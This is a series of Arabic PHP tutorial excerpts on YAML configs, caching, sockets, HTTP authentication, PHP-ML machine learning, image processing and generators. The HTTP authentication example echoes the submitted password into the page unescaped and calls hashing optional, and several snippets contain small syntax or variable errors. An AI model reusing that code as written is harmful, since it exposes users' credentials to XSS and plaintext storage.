اسم-قيمة أو بيانات هرمية معقدة مع قيم أو قد تكون مصفوفات. بفرض لدينا ملف YAML التالي: database: driver: mysql host: database.mydomain.com port: 3306 db_name: sample_db user: myuser password: Passw0rd debug: true country: us بفرض أننا حفظناه كملف config.yaml، لقراءة هذا الملف باستخدام PHP نستخدم الشيفرة التالية: $config = yaml_parse_file('config.yaml'); print_r($config); سينتج الخرج التالي: Array ( [database] => Array ( [driver] => mysql [host] => database.mydomain.com [port] => 3306 [db_name] => sample_db [user] => myuser [password] => Passw0rd ) [debug] => 1 [country] => us ) يمكن الآن استخدام معاملات الإعدادات ببساطة باستخدام عناصر المصفوفة: $dbConfig = $config['database']; $connectString = $dbConfig['driver'] . ":host={$dbConfig['host']}" . ":port={$dbConfig['port']}" . ":dbname={$dbConfig['db_name']}" . ":user={$dbConfig['user']}" . ":password={$dbConfig['password']}"; $dbConnection = new \PDO($connectString, $dbConfig['user'], $dbConfig['password']); ترجمة -وبتصرف- للفصول [ Autoloading Primer - Create PDF files in PHP - YAML in PHP‎] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال السابق: التخزين المؤقت (Cache) ومقابس الويب (Webscockets) في PHP
  10. التخزين المؤقت باستخدام memcache Memcache هو نظام تخزين مؤقت للأغراض الموزعة يستخدم الزوج قيمة-مفتاح لتخزين البيانات الصغيرة، تحتاج أن تتأكد من أنّ Memcache مثبّتة قبل أن تستدعي شيفرتها في PHP، يمكنك القيام بذلك باستخدام تابع class_exists في PHP. بعد أن تتأكد من أنّها مثبّتة يمكنك الاتصال بنسخة خادم memcache. if (class_exists('Memcache')) { $cache = new Memcache(); $cache->connect('localhost',11211); }else { print "Not connected to cache server"; } ستتحقق هذه الشيفرة من أنّ محركات PHP للذاكرة Memcache مثبتة وتتصل إلى نسخة خادم memcache المُنفَّذ على الخادم المحلي. تعمل Memcache بشكلٍ خفي وتدعى memcached. اتصلنا في المثال السابق إلى خادم واحد لكن يمكننا أيضًا الاتصال بعدة خوادم باستخدام الشيفرة: if (class_exists('Memcache')) { $cache = new Memcache(); $cache->addServer('192.168.0.100',11211); $cache->addServer('192.168.0.101',11211); } لاحظ أنّه في هذه الحالة لن يكون هناك أي اتصال نشط حتى تحاول تخزين قيمة أو جلبها، يوجد ثلاث عمليات أساسية التي نحتاج إلى تنفيذها في التخزين المؤقت: تخزين البيانات: إضافة بيانات جديدة إلى خادم memcached. الحصول على البيانات: جلب البيانات من خادم memcached. حذف البيانات: حذف بيانات موجودة سابقًا على خادم memcached. تخزين البيانات يملك كائن الصنف memcached أو ‎$cache التابع set الذي يأخذ المعاملات (المفتاح والقيمة والوقت) لحفظ قيمة من أجل زمن الحياة (ttl). $cache->set($key, $value, 0, $ttl); ‎$ttl أو زمن الحياة هنا مقدرًا بالثانية هو الزمن الذي تحتاجه memcache لتخزين الزوج على الخادم. الحصول على البيانات يملك كائن الصنف memcached أو ‎$cache التابع get الذي يأخذ مفتاح ويعيد القيمة المقابلة. $value = $cache->get($key); إذا لم توجد قيمة مقابلة للمفتاح ستُرجع القيمة null. حذف البيانات قد تحتاج أحيانًا إلى حذف بعض القيم من الذاكرة المخبئية، يملك كائن الصنف memcached أو ‎$cache التابع delete الذي يُستخدم لهذا الغرض: $cache->delete($key); سيناريو بسيط للتخزين المؤقت بفرض لدينا مدونة بسيطة، ستوجد عدة منشورات في صفحة الهبوط تُجلب من قاعدة البيانات عند كل تحميل للصفحة، يمكننا استخدام memcached لتخزين المنشورات وذلك لتقليل استعلامات sql، إليك تنفيذ بسيط لذلك: if (class_exists('Memcache')) { $cache = new Memcache(); $cache->connect('localhost',11211); if(($data = $cache->get('posts')) != null) { // الحصول على البيانات من ذاكرة التخزين المؤقت } else { // فُقدت ذاكرة التخزين المؤقت، الاستعلام من قاعدة البيانات وحفظ النتائج إلى القاعدة // ‫بفرض ‎$posts مصفوفة المنشورات المُستعادة من قاعدة البيانات $cache->set('posts', $posts,0,$ttl); } }else { die("Error while connecting to cache server"); } التخزين المؤقت باستخدام APC ذاكرة التخزين المؤقت البديلة في PHP (‏APC) مجانية وشيفرة تشغيل مفتوحة لذاكرة التخزين المؤقت في PHP، هدفها توفير إطار عمل مجاني ومفتوح وقوي لذاكرة التخزين المؤقت وتحسين شيفرة PHP الوسيطة. طريقة التثبيت: sudo apt-get install php-apc sudo /etc/init.d/apache2 restart إضافة ذاكرة التخزين المؤقت: apc_add ($key, $value , $ttl); $key = unique cache key $value = cache value $ttl = Time To Live; حذف ذاكرة التخزين المؤقت: apc_delete($key); مثال عن ضبط الذاكرة المخبئية: if (apc_exists($key)) { echo "Key exists: "; echo apc_fetch($key); } else { echo "Key does not exist"; apc_add ($key, $value , $ttl); } الأداء: APC أسرع من Memcached ب ‏5‏ مرات تقريبًا. مقابس الويب (Webscockets) ينفّذ استخدام إضافة المقبس (socket) واجهة منخفضة المستوى لدوال اتصال المقبس بالاعتماد على مقابس BSD (‏Berkeley Software Distribution) الشائعة، مما يوفر إمكانية العمل كخادم مقبس وعميل. خادم TCP/IP بسيط يمكنك أن تجد هنا مثالًا بسيطًا يعتمد على توثيق PHP الرسمي. أنشئ سكربت مقبس ويب يستمع إلى المنفذ 5000 باستخدام putty والطرفية لتنفيذ الأمر telnet 127.0.0.1 5000 (المضيف المحلي)، يرد هذا السكربت بالرسالة التي أرسلتها (كتعقب عكسي): <?php // تعطيل المهلة set_time_limit(0); // تعطيل التخزين المؤقت للخرج ob_implicit_flush(); // الإعدادات $address = '127.0.0.1'; $port = 5000; // (1) if (($socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) { echo "Couldn't create socket".socket_strerror(socket_last_error())."\n"; } // (2) if (socket_bind($socket, $address, $port) === false) { echo "Bind Error ".socket_strerror(socket_last_error($sock)) ."\n"; } if (socket_listen($socket, 5) === false) { echo "Listen Failed ".socket_strerror(socket_last_error($socket)) . "\n"; } do { if (($msgsock = socket_accept($socket)) === false) { echo "Error: socket_accept: " . socket_strerror(socket_last_error($socket)) . "\n"; break; } /* إرسال رسالة ترحيب */ $msg = "\nPHP Websocket \n"; // الاستماع إلى دخل المستخدم do { if (false === ($buf = socket_read($msgsock, 2048, PHP_NORMAL_READ))) { echo "socket read error: ".socket_strerror(socket_last_error($msgsock)) . "\n"; break 2; } if (!$buf = trim($buf)) { continue; } // الرد على المستخدم برسالته $talkback = "PHP: You said '$buf'.\n"; socket_write($msgsock, $talkback, strlen($talkback)); // طباعة الرسالة على الطرفية echo "$buf\n"; } while (true); socket_close($msgsock); } while (true); socket_close($socket); ?> في الموضع (1) لدينا الدالة socket_create لها الشكل العام ( int $domain , int $type , int $protocol ): يمكن أن يكون المتغير ‎$domain هو AF_INET أو AF_INET6 من أجل IPV6 أو AF_UNIX من أجل بروتوكول الاتصال المحلي. يمكن أن يكون المتغير ‎$protocol إما SOL_TCP أو SOL_UDP ‏(TCP/UDP) تعيد هذه الدالة القيمة true في حالة النجاح. في الموضع (2) نستخدم الدالة socket_bind التي تربط هذه الدالة المقبس ليستمع إلى عنوان ومنفذ محددين ولها الشكل العام: ‎socket_bind ( resource $socket , string $address [, int $port = 0 ] )‎ استيثاق HTTP سنكتب سكربت استيثاق ترويسة HTTP بسيط، ولاحظ أنّه يجب وضع هذه الشيفرة في ترويسة الصفحة وإلا لن يعمل: <?php if (!isset($_SERVER['PHP_AUTH_USER'])) { header('WWW-Authenticate: Basic realm="My Realm"'); header('HTTP/1.0 401 Unauthorized'); echo 'Text to send if user hits Cancel button'; exit; } echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>"; // حفظ المعلومات $user = $_SERVER['PHP_AUTH_USER']; echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>"; // ‫حفظ كلمة المرور (يمكن إضافة التشفير اختياريًا) $pass = $_SERVER['PHP_AUTH_PW']; //Save the password(optionally add encryption)! ?> // ‫صفحة html ترجمة -وبتصرف- للفصول [Cache - WebSockets - HTTP Authentication] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: تمهيد لعمليتي التحميل والتنزيل التلقائي في PHP المقال السابق: مدخل إلى تعلم الآلة (Machine learning) في PHP
  11. التصنيف باستخدام مكتبة PHP-ML التصنيف في تعلم الآلة هو المشكلة التي تحدد مجموعة الفئات التي تنتمي إليها الملاحظة الجديدة، يندرج التصنيف تحت فئة تعلم الآلة المُشرَف عليه (Supervised Machine Learning)، تُعرَف أي خوارزمية تنفذ التصنيف بأنها مصنِّفة (classifier). المصنِّفات المدعومة في PHP-ML هي: SVC تصنيف دعم الشعاع (Support Vector Classification). أقرب k جار (k-Nearest Neighbors). مصنِّف بايز البسيط (Naive Bayes). إنّ التوابع train وpredict هي نفسها لكل المصنِّفات (classifiers)، الفرق الوحيد في الخوارزمية الأساسية المستخدمة. SVC تصنيف دعم الشعاع (Support Vector Classification) نحتاج إلى تدريب المصنِّف قبل أن نبدأ بالتنبؤ بملاحظة جديدة، بفرض لدينا الشيفرة التالية: // استيراد المكتبة use Phpml\Classification\SVC; use Phpml\SupportVectorMachine\Kernel; // بيانات تدريب المصنِّف // عينات التدريب $samples = [[1, 3], [1, 4], [2, 4], [3, 1], [4, 1], [4, 2]]; $labels = ['a', 'a', 'a', 'b', 'b', 'b']; // تهيئة المصنِّف $classifier = new SVC(Kernel::LINEAR, $cost = 1000); // تدريب المصنِّف $classifier->train($samples, $labels); المتغير ‎$cost المُستخدم في الشيفرة السابقة هو مقياس لمقدار التصنيف الخاطئ الذي نريد تجنبه في كل مثال تدريبي، قد تحصل على أمثلة ذات تصنيف خاطئ من أجل قيم أقل للمتغير ‎$cost، يُضبَط افتراضيًا للقيمة 1.0. يمكننا الآن البدء في بعض التنبؤات الحقيقية بعد أن أصبح لدينا المصنِّف مدرّبًا، بفرض لدينا الشيفرات التالية للتنبؤات: $classifier->predict([3, 2]); // 'b' $classifier->predict([[3, 2], [1, 5]]); // ['b', 'a'] يمكن أن يأخذ المصنِّف في هذه الحالة عينات غير مصنّفة ويتنبأ بتسمياتها، يمكن أن يأخذ التابع predict عينة مفردة أو مصفوفة من العينات. دورة الذكاء الاصطناعي احترف برمجة الذكاء الاصطناعي AI وتحليل البيانات وتعلم كافة المعلومات التي تحتاجها لبناء نماذج ذكاء اصطناعي متخصصة. اشترك الآن أقرب k جار (k-Nearest Neighbors) يأخذ المصنِّف في هذه الخوارزمية معاملَين ويمكن تهيئتهما كالتالي: $classifier = new KNearestNeighbors($neighbor_num=4); $classifier = new KNearestNeighbors($neighbor_num=3, new Minkowski($lambda=4)); المتغير ‎$neighbor_num هو عدد الجيران الأقرب للفحص بخوارزمية ⁩knn، أما المعامل الثاني فهو مقياس المسافة والذي يكون افتراضيًا Euclidean في الحالة الأولى. إليك مثال قصير عن كيفية استخدام المصنِّف: // بيانات التدريب $samples = [[1, 3], [1, 4], [2, 4], [3, 1], [4, 1], [4, 2]]; $labels = ['a', 'a', 'a', 'b', 'b', 'b']; // تهيئة المصنِّف $classifier = new KNearestNeighbors(); // تدريب المصنِّف $classifier->train($samples, $labels); // التنبؤات $classifier->predict([3, 2]); // 'b' $classifier->predict([[3, 2], [1, 5]]); // ['b', 'a'] مصنِّف بايز البسيط (Naive Bayes) يعتمد مصنِّف بايز البسيط على نظرية بايز ولا يحتاج أي معاملات في الباني، توضّح الشيفرة التالية تنفيذًا لتنبؤ بسيط: // بيانات التدريب $samples = [[5, 1, 1], [1, 5, 1], [1, 1, 5]]; $labels = ['a', 'b', 'c']; // تهيئة المصنِّف $classifier = new NaiveBayes(); // تدريب المصنِّف $classifier->train($samples, $labels); // التنبؤات $classifier->predict([3, 1, 1]); // 'a' $classifier->predict([[3, 1, 1], [1, 4, 1]); // ['a', 'b'] حالة عمليّة استخدمنا حتى الآن مصفوفات من الأعداد الصحيحة في كل الحالات ولكن هذه الحالة غير موجودة في حياتنا الواقعية، لذا سنحاول وصف حل عملي لكيفية استخدام المصنِّفات⁡. بفرض لدينا تطبيق يخزّن خاصيّات الأزهار في الطبيعة، يمكننا أن نفرض للتبسيط لون الزهرة وطول البتلات ونستخدم هاتين الخاصيتين لتدريب البيانات، اللون هو الخاصيّة الأبسط إذ يمكننا إسناد قيمة صحيحة لكل لون ويمكن أن يكون عندك مجال للطول مثل ‎(0 mm,10 mm)=1‎، ‏‎(10 mm,20 mm)=2. درّب المصنِّف مع بيانات التهيئة، الآن إذا احتاج مستخدم ما لتحديد نوع الزهرة التي تنمو في حديقته الخلفية، عندها يختار لون الزهرة ويضيف طول البتلات ويُنفَّذ المصنِّف ويكشف نوع الزهرة. الانحدار (Regression) أسندنا باستخدام التصنيف مع مكتبة PHP-ML تسميات للملاحظة الجديدة، الانحدار هو نفسه تقريبًا إلا أنّ قيمة الخرج ليست اسم صنف بل قيمة مستمرة، يُستخدم بشكلٍ كبير للتنبؤات والتوقعات، تدعم مكتبة PHP-ML خوارزميات الانحدار التالية: انحدار دعم المتجه (Support Vector Regression). الانحدار الخطي ذو المربعات الأقل (Least Squares Linear Regression). يستخدم الانحدار نفس التوابع train وpredict المستخدمة في التصنيف. انحدار دعم المتجه (Support Vector Regression) هذه نسخة الانحدار من آلة دعم المتجه (‏SVM) (‏Support Vector Machine)، الخطوة الأولى مثل التصنيف هي تدريب النموذج: // استيراد المكتبة use Phpml\Regression\SVR; use Phpml\SupportVectorMachine\Kernel; // بيانات التدريب $samples = [[60], [61], [62], [63], [65]]; $targets = [3.1, 3.6, 3.8, 4, 4.1]; // تهيئة محرك الانحدار $regression = new SVR(Kernel::LINEAR); // تدريب محرك الانحدار $regression->train($samples, $targets); المتغير ‎$target في الانحدار ليس أسماء أصناف كما في التصنيف، هذا عامل للتفريق بين النوعين، يمكننا أن نبدأ بالتنبؤات الفعلية بعد تدريب نموذجنا. $regression->predict([64]) // 4.03 لاحظ أنّ التنبؤات ترجع قيمة من خارج مجال الهدف. الانحدار الخطي ذو المربعات الأقل (Least Squares Linear Regression) تستخدم هذه الخوارزمية طريقة المربعات الأقل للوصول إلى حل تقريبي، إليك شيفرة بسيطة للتدريب والتنبؤ: // بيانات التدريب $samples = [[60], [61], [62], [63], [65]]; $targets = [3.1, 3.6, 3.8, 4, 4.1]; // تهيئة محرك الانحدار $regression = new LeastSquares(); // تدريب محرك الانحدار $regression->train($samples, $targets); // التنبؤ باستخدام المحرك المدرَّب $regression->predict([64]); // 4.06 توفر أيضًا مكتبة PHP-ML خيار Multiple Linear Regression، إليك الشيفرة التالية كمثال: $samples = [[73676, 1996], [77006, 1998], [10565, 2000], [146088, 1995], [15000, 2001], [65940, 2000], [9300, 2000], [93739, 1996], [153260, 1994], [17764, 2002], [57000, 1998], [15000, 2000]]; $targets = [2000, 2750, 15500, 960, 4400, 8800, 7100, 2550, 1025, 5900, 4600, 4400]; $regression = new LeastSquares(); $regression->train($samples, $targets); $regression->predict([60000, 1996]) // 4094.82 يعدّ الخيار Multiple Linear Regression مفيدًا بشكلٍ خاص عندما يوجد عدة عوامل أو سمات لتحديد الخرج. حالة عمليّة إليك مثالًا لتطبيق عملي للانحدار في الحياة الواقعية. بفرض لديك موقع إلكتروني مشهور حركة المرور فيه متغيرة باستمرار وتريد حلًا للتنبؤ بعدد الخوادم التي تحتاج إلى نشرها في وقت من الأوقات، وبفرض أن مزود الاستضافة يمنحك واجهة برمجة تطبيقات (api) لتعمل الخوادم وكل خادم يستغرق 15 دقيقة للتشغيل، بالاعتماد على حركة المرور السابقة والانحدار يمكنك توقع حركة المرور في تطبيقك في وقت ما. يمكنك باستخدام هذه المعرفة بدء خادم قبل 15 دقيقة من بدء تدفق حركة المرور مما يمنع تعطيل تطبيقك. العنقدة (Clustering) العنقدة هي تجميع الكائنات المتشابهة معًا، وتستخدم بشكل واسع للتعرف على الأنماط، تعد العنقدة من نوع تعلم الآلة غير المُشرف عليه لذا لا توجد حاجة للتدريب، تدعم مكتبة PHP-ML خوارزميات العنقدة التالية: k-Means dbscan خوارزمية k-Means تفصل هذه الخوارزمية البيانات إلى n مجموعة بتباين متساوٍ، أي أننا نحتاج إلى تمرير الرقم n الذي هو عدد العناقيد التي نحتاجها في الحل، إليك الشيفرة التالية للتوضيح: // مجموعة البيانات $samples = [[1, 1], [8, 7], [1, 2], [7, 8], [2, 1], [8, 9]]; // ‫تهيئة العنقدة بالمعامل `n` $kmeans = new KMeans(3); $kmeans->cluster($samples); // [0=>[[7, 8]], 1=>[[8, 7]], 2=>[[1,1]]] لاحظ أنّ الخرج يحتوي 3 مصفوفات لأنّ هذه قيمة n في باني KMeans، يمكن أن يوجد معامل اختياري ثاني في الباني يصف طريقة التهيئة، مثال: $kmeans = new KMeans(4, KMeans::INIT_RANDOM); تحدد الطريقة INIT_RANDOM نقطة مركزية عشوائية أثناء محاولة تحديد العناقيد، تكون هذه النقطة محدودة بحدود فضاء البيانات لتجنب أن تكون هذه النقطة المركزية بعيدة جدًا عن البيانات. طريقة التهيئة الافتراضية للباني هي kmeans++‎ والتي تختار النقطة المركزية بطريقة ذكية لتسريع العملية. خوارزمية DBSCAN هي خوارزمية عنقدة تعتمد على الكثافة أي أننا لن نحتاج إلى تمرير n لتحديد عدد العناقيد التي نريدها في نتائجنا على عكس خوارزمية k-Means، إنما نحتاج إلى معاملين لتعمل: ‎$minSamples: أقل عدد كائنات يجب أن تكون موجودة في العنقود. ‎$epsilon: أقصى مسافة بين عينتين لنعدهما في نفس العنقود. مثال: // مجموعة بيانات العينة $samples = [[1, 1], [8, 7], [1, 2], [7, 8], [2, 1], [8, 9]]; $dbscan = new DBSCAN($epsilon = 2, $minSamples = 3); $dbscan->cluster($samples); // [0=>[[1, 1]], 1=>[[8, 7]]] لا توجد طريقة هنا لمعرفة عدد عناصر الخرج كما في خوارزمية k-Means. حالة عمليّة لنأخذ مثالًا عن تطبيق عملي في الحياة الواقعية، تستخدم العنقدة بشكلٍ كبير في التعرف على الأنماط والتنقيب عن البيانات، بفرض لديك تطبيق نشر محتوى، لتحافظ على المستخدمين يجب أن يظهر لديهم المحتوى الذي يحبونه، لنفرض للتبسيط أنهم إذا كانوا في صفحة ويب معينة لأكثر من دقيقة ونزلوا فيها إلى الأسفل أي أنهم أحبوا هذا المحتوى. الآن سيكون لكل محتوى معرف فريد وكذلك لكل مستخدم، ونجعل عنقودًا يعتمد على هذه الخصائص وستتعرف على شريحة المستخدمين التي تحب محتوى مشابه لهذا المحتوى، يمكن استخدام هذا في نظام التوصيات ⁢حيث يمكنك فرض أنّه إذا كان لدينا بعض المستخدمين في نفس العنقود أحبوا مقالة ما عندها فإنّ هذه المقالة ستظهر عند المستخدمين الباقيين في التوصيات. ترجمة -وبتصرف- للفصل [Machine learning] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: التخزين المؤقت (Cache) ومقابس الويب (Webscockets) في PHP المقال السابق: معالجة الصور مع مكتبة GD ومكتبة Imagick في PHP
  12. خرج الصورة يمكن إنشاء صورة باستخدام دوال image*‎ حيث * هي صيغة الملف، وهذه الدوال لها الصيغة المشتركة التالية: bool image___(resource $im [, mixed $to [ other parameters]] ) الحفظ إلى ملف يمكنك تمرير اسم الملف أو مجرى ملف مفتوح للمتغير ‎$to إذا كنت تريد حفظ الصورة إلى ملف، إذا مررت مجرى فلا تحتاج لإغلاقه لأنّ مكتبة GD تغلقه تلقائيًا، مثلًا لحفظ ملف PNG: imagepng($image, "/path/to/target/file.png"); $stream = fopen("phar://path/to/target.phar/file.png", "wb"); imagepng($image2, $stream); // لا حاجة لإغلاق المجرى تأكد عند استخدام fopen من أنك تستخدم الراية b وليس الراية t لأن الملف هو خرج ثنائي، ولا تحاول أن تمرر fopen("php://temp", $f)‎ أو fopen("php://memory", $f)‎ لأنّ الدالة تُغلق المجرى بعد الاستدعاء ولن تبقى قادرًا على استدعائه أو استخدامه لاسترداد محتوياته مثلًا. الخرج كرد HTTP لا تحتاج إلى تمرير شيء (أو مرر null) كوسيط ثانٍ إذا كنت تريد أن ترجع هذه الصورة مباشرةً كرد للصورة (لإنشاء بطاقات ديناميكية مثلًا)، لكنك تحتاج إلى تحديد نوع المحتوى في رد HTTP: header("Content-Type: $mimeType"); ‎$mimeType هو نوع الصياغة المُرجعة في الترويسة MIME مثل image/png وimage/gif وimage/jpeg. الكتابة إلى متغير يوجد طريقتين للكتابة إلى متغير: استخدام المخزن المؤقت للخرج (OB): ob_start(); // ‫تمرير null للكتابة افتراضيًا في مجرى الخرج القياسي imagepng($image, null, $quality); $binary = ob_get_clean(); استخدام مغلِّف المجرى: قد يكون لديك سبب ما لعدم استخدام المخزن المؤقت للخرج كأن يكون لديك بالفعل مخزن مؤقت قيد التشغيل لذا تحتاج إلى بديل، يمكنك تسجيل مغلَّف مجرى جديد باستخدام الدالة stream_wrapper_register لذا يمكنك تمرير مجرى إلى دالة إظهار الصورة واستعادته لاحقًا. <?php class GlobalStream{ private $var; public function stream_open(string $path){ this->var =& $GLOBALS[parse_url($path)["host"]]; return true; } public function stream_write(string $data){ $this->var .= $data; return strlen($data); } } stream_wrapper_register("global", GlobalStream::class); $image = imagecreatetruecolor(100, 100); imagefill($image, 0, 0, imagecolorallocate($image, 0, 0, 0)); $stream = fopen("global://myImage", ""); imagepng($image, $stream); echo base64_encode($myImage); في هذا المثال يكتب الصنف GlobalStream أي دخل إلى المتغير المرجعي (أي الكتابة بشكل غير مباشر إلى المتغير العام للاسم المعطى)، يمكن استرجاع المتغير العام لاحقًا بشكلٍ مباشر. يجب الانتباه إلى عدة أمور: صنف مغلِّف المجرى المنفَّذ بشكلٍ كامل يجب أن يشبه هذا الصنف لكن وفقًا للاختبارات باستخدام تابع ‎__call السحري فإنّه من الممكن استدعاء stream_open وstream_write وstream_close فقط من الدوال الداخلية. لا توجد رايات مطلوبة في استدعاء fopen لكن يجب أن تمرر سلسلة فارغة على الأقل، لأنّ الدالة fopen تتوقع مثل هذا المعامل، حتى لو لم تستخدمها في تنفيذ stream_open يبقى هذا المعامل مطلوبًا. تستدعى الدالة stream_write عدة مرات وفقًا للاختبارات، تذكر أن تستخدم إسناد الدمج ‎.=‎ وليس إسناد المتغير المباشر =. مثال: في وسم <img> في HTML، يمكن توفير صورة بشكلٍ مباشر بدلًا من استخدام رابط خارجي: echo '<img src="data:image/png;base64,' . base64_encode($binary) . '">'; إنشاء صورة نستخدم الدالة imagecreatetruecolor لإنشاء صورة فارغة: $img = imagecreatetruecolor($width, $height); المتغير ‎$img‎ هو متغير مورد الآن بعرض ‎$width وطول ‎$height بكسل، لاحظ أنّ العرض يُحسب من اليسار إلى اليمين والطول من الأعلى إلى الأسفل. يمكن أن يُنشأ أيضًا مورد الصورة من دوال إنشاء الصورة مثل imagecreatefrompng وimagecreatefromjpeg ودوال imagecreatefrom*‎ أخرى. قد تُحرَّر موارد الصورة لاحقًا عندما لا توجد مراجع إليها، لكن لتحرير الذاكرة بشكلٍ مباشر (قد يكون هذا مهمًا عند معالجة عدة صور كبيرة) يمكننا استخدام imagedestroy()‎ على الصورة عندما لا تبقى حاجة لاستخدامها وتكون هذه ممارسة جيدة. imagedestroy($image); تحويل صورة إنّ الصور التي تُنشأ من تحويل الصور لا تعدّل الصورة حتى تُخرجها، لذا يمكن أن يكون محوِّل الصورة ببساطة عبارة عن ثلاثة أسطر من الشيفرة: function convertJpegToPng(string $filename, string $outputFile) { $im = imagecreatefromjpeg($filename); imagepng($im, $outputFile); imagedestroy($im); } اقتصاص الصورة وتغيير حجمها يمكنك استخدام الدالة imagecopyresampled إذا كان لديك صورة وتريد إنشاء صورة جديدة بأبعاد جديدة، أنشئ أولًا صورة جديدة بالأبعاد المرغوبة: // صورة جديدة $dst_img = imagecreatetruecolor($width, $height); خزّن الصورة الأصلية في متغير، يمكنك القيام بذلك باستخدام إحدى دوال createimagefrom*‎ حيث يمكن أن تكون * هي jpeg أو gif أوpng أوstring، مثال: // الصورة الأصلية $src_img=imagecreatefromstring(file_get_contents($original_image_path)); ثم استخدم الدالة imagecopyresampled لنسخ كل الصورة الأصلية (أو جزء منها) (src_img) إلى الصورة الجديدة (dst_img): imagecopyresampled($dst_img, $src_img, $dst_x ,$dst_y, $src_x, $src_y, $dst_width, $dst_height, $src_width, $src_height); لضبط أبعاد src_*‎ و‎dst_*‎، استخدم الصورة التالية: إذا كنت تريد الآن نسخ كامل الصورة المصدر (الأصلية) إلى كامل منطقة الهدف (بدون اقتصاص): $src_x = $src_y = $dst_x = $dst_y = 0; // عرض الصورة الجديدة $dst_width = $width; // طول الصورة الجديدة $dst_height = $height; // عرض الصورة الأصلية $src_width = imagesx($src_img); // طول الصورة الأصلية $src_height = imagesy($src_img); مكتبة Imagick التثبيت باستخدام apt في الأنظمة المعتمدة على Debian: sudo apt-get install php5-imagick باستخدام Homebrew في أنظمة OSX/macOs: brew install imagemagick باستخدام الإصدارات الثنائية: التعليمات في موقع imagemagick. الاستخدام <?php $imagen = new Imagick('imagen.jpg'); // ‫إذا وضعت قيمة المعامل 0 ستتم المحافظة على نسبة العرض $imagen->thumbnailImage(100, 0); echo $imagen; ?> تحويل صورة إلى سلسلة نصية بالأساس 64 يُظهر هذا المثال كيفية تحويل صورة إلى سلسلة نصية بالأساس 64 (أي سلسلة نصية يمكنك استخدامها مباشرةً في السمة src لوسم img)، يستخدم هذا المثال مكتبة Imagick لكن يمكن استخدام مكتبات أخرى مثل GD. <?php // (1) $img = new Imagick('image.jpg'); // (2) $img->resizeImage(320, 240); // (3) $imgBuff = $img->getimageblob(); // (4) $img->clear(); // (5) $img = base64_encode($imgBuff); echo "<img alt='Embedded Image' src='data:image/jpeg;base64,$img' />"; في الموضع (1) يُحمَّل الملف image.jpg للمعالجة، مسار الملف نسبي إلى ملف ‎.php‎ المتضمن هذه الشيفرة لذا في هذا المثال يجب أن يكون ملف image.jpg في نفس مجلد السكربت. في الموضع (2) يتغير حجم الصورة للحجم المُعطى كطول وعرض وإذا أردت تغيير دقة الصورة أيضًا مع تغيير الحجم يمكنك استخدام الدالة ‎$img->resampleimage(320, 240)‎، لاحظ أنّه يمكنك ضبط المعامل الثاني إلى 0 للمحافظة على نسبة عرض الصورة. في الموضع (3) تُرجع الدالة تمثيل الصورة على شكل سلسلة نصية غير مشفرة. في الموضع (4) يُزال المورد image.jpg من الكائن ‎$img‎ ويُدمَّر الكائن مما يحرر موارد النظام المحجوزة لمعالجة الصورة. في الموضع (5) تُنشأ نسخة بتشفير الأساس 64 من السلسلة النصية السابقة غير المشفرة ثم تُعرَض كصورة في الصفحة، لاحظ أنّه قد يتغير الجزء image/jpeg في السمة src وذلك بالاعتماد على نوع الصورة التي تستخدمها (png أوjpeg مثلًا). ترجمة -وبتصرف- للفصول [Image Processing with GD - Imagick] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: مدخل إلى تعلم الآلة (Machine learning) في PHP المقال السابق: اصطلاحات ومواضيع متفرقة مهمة لكل مبرمج PHP
  13. وسوم PHP يجب أن تستخدم دائمًا الوسوم ‎<?php ?>‎ أو وسوم الطباعة القصيرة ‎<?= ?>‎، ويجب ألا تُستخدم الاختلافات الأخرى (خاصةً الوسوم القصيرة <? ?>) لأنّ مديري النظام يعطلونها عادةً. يجب تجاهل صيغة الإغلاق ‎?>‎ عندما لا نتوقع أن ينتج الملف خرجًا لتجنب الخرج غير المقصود الذي يمكن أن يسبب مشاكل عندما يحلل العميل الملف خاصةً أنّ بعض المتصفحات تفشل في التعرف على وسم ‎<!DOCTYPE وتنشّط نمط التجاوزات Quirks Mode. مثال عن سكربت PHP بسيط: <?php print "Hello World"; مثال عن ملف تعريف صنف: <?php class Foo { ... } مثال عن PHP مضمن في HTML: <ul id="nav"> <?php foreach ($navItems as $navItem): ?> <li><a href="<?= htmlspecialchars($navItem->url) ?>"> <?= htmlspecialchars($navItem->label) ?> </a></li> <?php endforeach; ?> </ul> فوائد المولّدات (Generators) تقدّم PHP 5.5 المولّدات والكلمة المفتاحية yield التي تسمح لنا بكتابة شيفرة غير متزامنة تبدو أشبه بالشيفرة المتزامنة، يعدّ التعبير yield مسؤولًا عن إعادة التحكم إلى الشيفرة المستدعاة وتوفير نقطة استئناف من هناك، يمكنك إرسال قيمة مع تعليمة yield، القيمة المرجعة من هذا التعبير إما null أو القيمة الممررة إلى Generator::send()‎. function reverse_range($i) { // ‫مجرد وجود الكلمة المفتاحية `yield` في هذه الدالة يجعلها مولّد do { // ‎$i‎ هي القيمة المُحتفظ بها بين الاستئنافات print yield $i; } while (--$i > 0); } $gen = reverse_range(5); print $gen->current(); // الإرسال أيضًا يستأنف المولِّد $gen->send("injected!"); foreach ($gen as $val) { // المرور على كامل محتويات المولّد مما يجعله يستأنف عند كل تكرار echo $val; } // 5injected!4321 يمكن استخدام هذه الآلية بتنفيذ نمط مشترك (coroutine) لانتظار كائنات Awaitable المُعادة من المولِّد (بتسجيل المولّد نفسه كرد نداء للحل) ومواصلة تنفيذ المولّد بمجرد إنهاء كائن Awaitable. استخدام حلقة حدث من مكتبة Icicle تستخدم مكتبة Icicle كائنات Awaitable ومولّدات لإنشاء نمط مشترك. require __DIR__ . '/vendor/autoload.php'; use Icicle\Awaitable; use Icicle\Coroutine\Coroutine; use Icicle\Loop; $generator = function (float $time) { try { // ‫ضبط المتغير ‎$start إلى القيمة المعادة من الدالة microtime()‎? بعد ‎$time ثانية تقريبًا $start = yield Awaitable\resolve(microtime(true))->delay($time); echo "Sleep time: ", microtime(true) - $start, "\n"; // ‫رمي استثناء من كائن Awaitable المرفوض إلى النمط المشترك return yield Awaitable\reject(new Exception('Rejected awaitable')); } catch (Throwable $e) { // ‫التقاط سبب رفض awaitable echo "Caught exception: ", $e->getMessage(), "\n"; } return yield Awaitable\resolve('Coroutine completed'); }; // يبقى النمط المشترك ساكنًا لمدة 1.2 